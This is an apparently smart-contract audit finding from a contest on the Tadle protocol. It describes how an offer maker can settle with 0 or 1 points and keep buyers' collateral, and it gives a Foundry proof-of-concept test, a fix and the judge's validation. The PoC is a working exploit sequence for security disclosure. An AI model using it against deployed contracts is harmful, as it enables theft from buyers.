Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Malicious user can settle the askMaker offer using deliveryPlace::settleAskMaker() with 0 or 1 settledPoints, making loss for buyers

0xaraj

Summary

Malicious user can settle the askMaker offer using deliveryPlace::settleAskMaker() with 0 or 1 settledPoints, making loss for buyers

Vulnerability Details

Offer owner can call deliveryPlace::settleAskMaker() to settle their askMaker offer by passing amount of settledPoints they want to settle. And based on settledPoints, pointsTokenAmount is calculated and transfered to capitalPool. Also status of the offer is changed to settled

function settleAskMaker(address _offer, uint256 _settledPoints) external {
...
@> uint256 settledPointTokenAmount = marketPlaceInfo.tokenPerPoint * _settledPoints;
​
ITokenManager tokenManager = tadleFactory.getTokenManager();
if (settledPointTokenAmount > 0) {
@> tokenManager.tillIn(_msgSender(), marketPlaceInfo.tokenAddress, settledPointTokenAmount, true);
}
​
...
IPerMarkets perMarkets = tadleFactory.getPerMarkets();
@> perMarkets.settledAskOffer(_offer, _settledPoints, settledPointTokenAmount);
}
function settledAskOffer(address _offer, uint256 _settledPoints, uint256 _settledPointTokenAmount)
external
onlyDeliveryPlace(tadleFactory, _msgSender())
{
OfferInfo storage offerInfo = offerInfoMap[_offer];
offerInfo.settledPoints = _settledPoints;
offerInfo.settledPointTokenAmount = _settledPointTokenAmount;
@> offerInfo.offerStatus = OfferStatus.Settled;
}

Now the problem is, a malicious user can create ask offer which buyers will buy paying collateralToken. Malicious user will then call deliveryPlace::settleAskMaker() with very less settledPoints as compared to what buyer have bought.

As result, malicious user will be able to settle the offer with very less or zero amount of pointsToken, making a loss for buyer because buyer paid for alot more pointsToken as compared to what they get when they call deliveryPlace::closeBidTaker()

//Here is PoC

function test_userCanSettleOfferWithLessSettledPoints() public {
//User created an ask offer for 1000 points with 1e18 amount at only 100%(10000) collateralRate
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 1e18, 10000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
​
//User2 bought all 1000 points
vm.prank(user2);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1000);
​
//Owner updated the marketPlace ie tokenPerPoints = 1e18
vm.prank(user1);
systemConfig.updateMarket("Backpack", address(mockPointToken), 1e18, block.timestamp - 1, 3600);
​
//User settled the ask maker with only 1 settledPoints
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offerAddr, 1);
vm.stopPrank();
​
//User2 close the bid taker
vm.startPrank(user2);
address stock1Addr = GenerateAddress.generateStockAddress(1);
deliveryPlace.closeBidTaker(stock1Addr);
​
//Points token of user2 is only 1 pointsToken ie 1e18 instead of 1000 pointsToken ie 1000e18
uint256 pointsTokenAmount =
tokenManager.userTokenBalanceMap(user2, address(mockPointToken), TokenBalanceType.PointToken);
assertEq(pointsTokenAmount, 1e18);
uint256 userTradeTax =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.TaxIncome);
uint256 userSalesRevenue =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 userTotalAmount = userTradeTax + userSalesRevenue;
console2.log("Total amount received by malicious user:", userTotalAmount);
}

Above test shows, how user2 paid collateralToken for 1000 pointsToken but got only 1 pointsToken because malicious user settled the offer only for 1 settlePoints(can also settle for 0 settlePoints). Also once the offer is settled, it can't be called again because the status of the offer is changed to Settled & only virgin or cancelled offer can call deliveryPlace::settleAskMaker().

Also malicious user will be able to withdraw those collateralToken paid by buyer, giving buyer 1 or 0 pointsToken only.

If you thinking about malicious will loss `extra` initialCollateral(which he get when he pass _settledPoints = offerInfo.usedPoints) then you can see malicious user created the offer with only 100% collateralRate, which means he will get all collateralAmount when buyer buy the points, leaving no extra makerRefundAmount to withdraw because collateralRate was only 100% ie 10000

Impact

Buyer will loss pointsToken as malicious user can rug pull them

Tools Used

Manual Review

Recommendations

Only allow to settle the offer when _settledPoints = offerInfo.usedPoints because this will allow offer owner to transfer total pointsToken to capitalPool before settling the offer

- if (_settledPoints > offerInfo.usedPoints) {
- revert InvalidPoints();
- }
​
+ if (_settledPoints != offerInfo.usedPoints) {
+ revert InvalidPoints();
+ }
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-settleAskMaker-partial-settlements

Valid high, in settleAskTaker/settleAskMaker, if the original offer maker performs a partial final settlement, the existing checks [here](https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L356-L358) and [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/DeliveryPlace.sol#L230-L232) will cause an revert when attempting to complete a full settlement, resulting in their collateral being locked and requiring a rescue from the admin. To note, although examples in the documentation implies settlement in a single click, it is not stated that partial settlements are not allowed, so I believe it is a valid user flow.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.